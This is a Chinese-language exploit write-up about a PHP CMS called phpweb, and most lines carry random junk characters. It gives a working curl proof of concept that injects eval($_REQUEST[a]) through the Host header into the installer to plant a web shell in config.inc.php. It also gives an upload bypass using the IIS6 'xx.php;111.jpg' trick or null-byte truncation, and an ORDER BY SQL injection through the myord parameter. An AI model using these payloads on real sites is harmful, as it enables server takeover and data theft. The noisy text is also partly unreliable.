注入:4 c Z0 Y) c8 j& X" [
7 L" c% ^! Z+ C6 ?3 {# v
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码4 g- ^" {& x' C1 \. g( z( K
5 K3 b+ P1 \5 b) {1 m$ y" {6 R鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件6 S0 y1 w- E4 m: v5 g
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
8 R7 T! x5 L8 M$ y4 B" b3 f3 d2 E+ f 9 D5 j, S& N) J& M& M
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
2 p8 {, M" ~; t- u5 \ 0 ]( f! m$ c& D1 R; [3 @
分析:
+ F! k, v% r6 x' `; A# K1 n 6 w4 b0 o4 f4 D( v. V
! m4 a( w. x9 E* z, Z# F
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤- Y7 m; U3 @6 q# \7 N8 C
7 }9 h u9 t+ ?% t* S $filestr = fread(fopen($SysConfigFile, 'r'),30000);" U1 @) P: n8 Z6 `9 w
$filestr=str_replace(" ","",$filestr);9 G( n( F/ y# y; S
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);( T2 b9 R6 B: b- e& Y0 g
$filestr=str_replace("DefaultDbName",$dbname,$filestr);) G( _& }& I- D0 C
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
# m* l5 j7 j8 t $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);* K: e5 N4 X% B' j
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);: q4 ] V7 Q! |
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);% U" |' a, V, ~
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);2 ?, P& V( U0 D
1 `' A) R; r5 D" [& D
fwrite(fopen($ConFile,"w"),$filestr,30000);* l! ~& ~) U4 N! S
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
/ a4 U) q5 E3 ^) O" f3 D& k; G
: d T: |: @) X" a8 t$ r% n% V: Rpoc:
! ^+ R; G# V# Z
0 n# o0 h9 O& z" e$ E, p7 X?, [2 R1 E: }8 p+ F8 s$ K; L- p
1
# s5 [( x4 }/ G8 q3 ?1 ycurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"4 ~) E) m+ m8 K+ Y6 U" c
shell地址: /config.inc.php& _* n& G9 P' C8 _% r
跟之前的 phpcms一样 需要远程数据库
' |1 t; C% q5 f1 C) n C8 F: P0 b! v
——————————————————– n1 n9 Q/ l8 ]& A1 b8 E# a
上传漏洞(需要进后台):% U% H. y6 T7 f
漏洞文件: /kedit/upload_cgi/upload.php
0 }4 K' B/ `& A$ d# d! t1 q这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用9 l7 n. z0 s% O$ ~/ n9 j2 M
4 ^& }, t$ ^$ ]& X) M+ O$ o
' W& `5 E' l# e+ z( z
<?php* W1 r5 Z* z! ]! W/ K: q
define("ROOTPATH", "../../");& ?$ P: S6 N1 U$ ?; e
include(ROOTPATH."includes/admin.inc.php");
y$ G ?1 R9 A9 L; F/ M NeedAuth(0);0 `! B8 Y3 d( [* F2 ~
. s" `+ q* m' P! O$ b. o $dt=date("Ymd",time());4 B; D7 q; z" E7 ^9 s
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
. j9 a- t- q. h% o2 X3 o# { @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);' F+ T4 z8 b4 P3 D4 C/ }
}4 D# {9 k' ?: _ e- e9 y2 m* D8 G `
% `% D: q T1 A
//文件保存目录路径
5 t* ?; n* x) J $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';3 a. ~5 {2 X; y j0 z4 l9 H
echo $save_path;
% W, _: K( A f; G! a //文件保存目录URL+ c% _3 O- n9 ^2 k, o
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
, r( G" F" T) A, b
$ z$ v. V- ?6 P e* R- z //定义允许上传的文件扩展名
" F* K2 \1 Y5 R8 z# l, X1 G $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
; F1 u; y8 }( k8 |1 r2 K ( s* I$ ^4 v9 S1 B, P# j
//最大文件大小! V& X9 y8 o* b; r& W
$max_size = 1000000;
: B( [1 i) C* Z1 n4 y. b
/ J: r5 z' ^: T1 q) I //更改目录权限3 j9 v- Y+ T4 V6 q; ~" U
@mkdir($save_path, 0777);. p* k+ z! W3 N6 r3 `
/ U. S d) k' g5 D8 L
//文件的全部路径, ?7 W0 `# o+ F4 x9 ^! P3 R
$file_path = $save_path.$_POST['fileName']; //保存文件名
A: m; x% i/ ]7 \3 y4 d$ ]8 ` 2 R8 y$ z. x6 W# ?9 z2 `4 |' _
//文件URL
/ [ m) F" ? O7 o $file_url = $save_url.$_POST['fileName'];. t7 P3 P7 I4 N* H7 [
//有上传文件时
3 H! A; k7 u( k if (empty($_FILES) === false) {, X$ C2 W' A% a% ^! t/ B* V
0 |; X: g; `5 J( ~- `& `
//原文件名+ V) M) m7 g7 x& b* i& K
$file_name = $_FILES['fileData']['name'];
" b: R1 r- J% S8 y6 R //服务器上临时文件名 e* W4 O, A/ W: g8 U
$tmp_name = $_FILES['fileData']['tmp_name'];- R, a; b' @% k# v1 G/ a* b6 [
//文件大小4 R6 @3 I8 i7 G3 k1 n
$file_size = $_FILES['fileData']['size'];8 L7 F2 R/ ]+ x! |' N& z( W
//检查目录+ _1 I/ e/ F6 A0 g! b$ v- D
if (@is_dir($save_path) === false) {: ^* X: l' s( h
alert("上传目录不存在。");
}# K& t. M2 }) O: c2 g2 C3 m }
0 x8 a/ {& ^. \4 b' G0 I* ? //检查目录写权限
5 ~/ `7 d. c) \ if (@is_writable($save_path) === false) {
6 c* P6 x% N2 Y0 r9 V alert("上传目录没有写权限。");) n# x9 l7 c; g2 u( Z* x& E
}1 t* M% F; y' S1 b8 A6 }
//检查是否已上传* x2 \1 W6 o9 I$ n+ f
if (@is_uploaded_file($tmp_name) === false) { k5 J, g9 v: a
alert("临时文件可能不是上传文件。");
' G9 J- Q) a3 b! @* n( y+ I! D' U }$ X' h, n3 m+ A
//检查文件大小" i6 ]- w. [6 s4 L! k4 w
if ($file_size > $max_size) {7 q$ W: E: v# J% F) j1 b7 U
alert("上传文件大小超过限制。");* W$ h; s6 b: J1 ^: O& }
}
& [) m5 s- _- G3 f5 C) z: l9 x //获得文件扩展名
5 N" p" K/ @- L& _7 K" l4 ] $temp_arr = explode(".", $_POST['fileName']);
. C8 W2 `6 h* S. Z $file_ext = array_pop($temp_arr);( m \" f( B. ]
$file_ext = trim($file_ext);7 ^' H# ~+ j. G) U6 V4 X3 Z! Y
$file_ext = strtolower($file_ext);
& h4 W3 N" E- H1 V$ w5 x
) M" x! K# `& d" P' ^; [ //检查扩展名 ; g" n5 n5 [' a7 S
if (in_array($file_ext, $ext_arr) === false) { 6 ^& ]+ ^0 r) L4 h) S# ?# B- I
alert("上传文件扩展名是不允许的扩展名。");
) H# o8 ~& E3 D! x5 ^ }8 o) v, b. F( q. E. ^
; t' r) w: T( Y0 L/ K: ` //移动文件 $ Y( ]4 q! x6 ?3 c: h
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^, G* x: B1 Q& d) W+ a$ J
if (move_uploaded_file($tmp_name, $file_path) === false) {
, k: q8 V6 j& |$ k% R4 `: j9 H alert("上传文件失败。");
5 G% H+ B. Z/ M1 v }% _' a8 r$ |" N5 Z/ B0 n9 r9 j
0 A3 ~3 ^' w% J; I% F% P
@chmod($file_path,0666);2 t/ {, R" A0 K9 x5 s1 o8 Q' j6 T
5 _ O5 o5 V* R0 O8 S& }
?>
5 Y# F/ D4 D I3 a抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227/ B2 v( F0 S: K+ r2 ~
( r1 H2 {6 @( K- _; H$ o0 N& {apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过; f6 w% \' S# |
$ g3 ~, x7 R1 x* W——————————————————4 D% r/ E! G7 h6 N) k' p) T5 ]
注入漏洞:9 z: g$ Q) i6 d; ~+ d- L& U
漏洞文件:search/module/search.php
- n: Y) M; Y- s6 k) _/search/index.php?key=1&myord=1 [sqlinjection]* l# Z9 h9 O7 @' Q
7 @7 m8 D- g: N- Y1 K/ {
" I u |$ e" ?' V<?php. M5 i9 H) R7 s% F
// ... 省略 n 行...9 o$ G2 @4 J7 a! r
//第18行:
$ L: a2 O X8 s" Q- {2 J $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响2 C5 \! W p5 P" e" ]/ l
$page=htmlspecialchars($_GET["page"]);% [8 V2 c& b; E n4 K
$myord=htmlspecialchars($_GET["myord"]);
3 K8 K# g3 C1 |$ b) O. N; ` 0 a( P& _; U; z7 o
// ... 省略 n 行...
# t M6 M4 }* e5 m+ V# o$ P# D" `4 p $key,$myord 两个参数带入查询
& ~/ e8 b) S8 m- [7 V //第47行 $key:8 X2 `3 z4 t" {% a
( L1 g0 Q7 y) K2 W+ P9 l $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..8 [ G5 q+ Z! o& j( j
& Z( ^/ l4 D: d. q( B T: m4 b% k //第197行 $myord+ R c+ E5 ?: P3 X% @+ L0 {3 y
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入& e/ e2 L4 L$ p* I6 w
- f7 E7 _" F8 _2 I, c ?>* @2 i" `7 S; o. K) |1 q. R0 o/ Y
|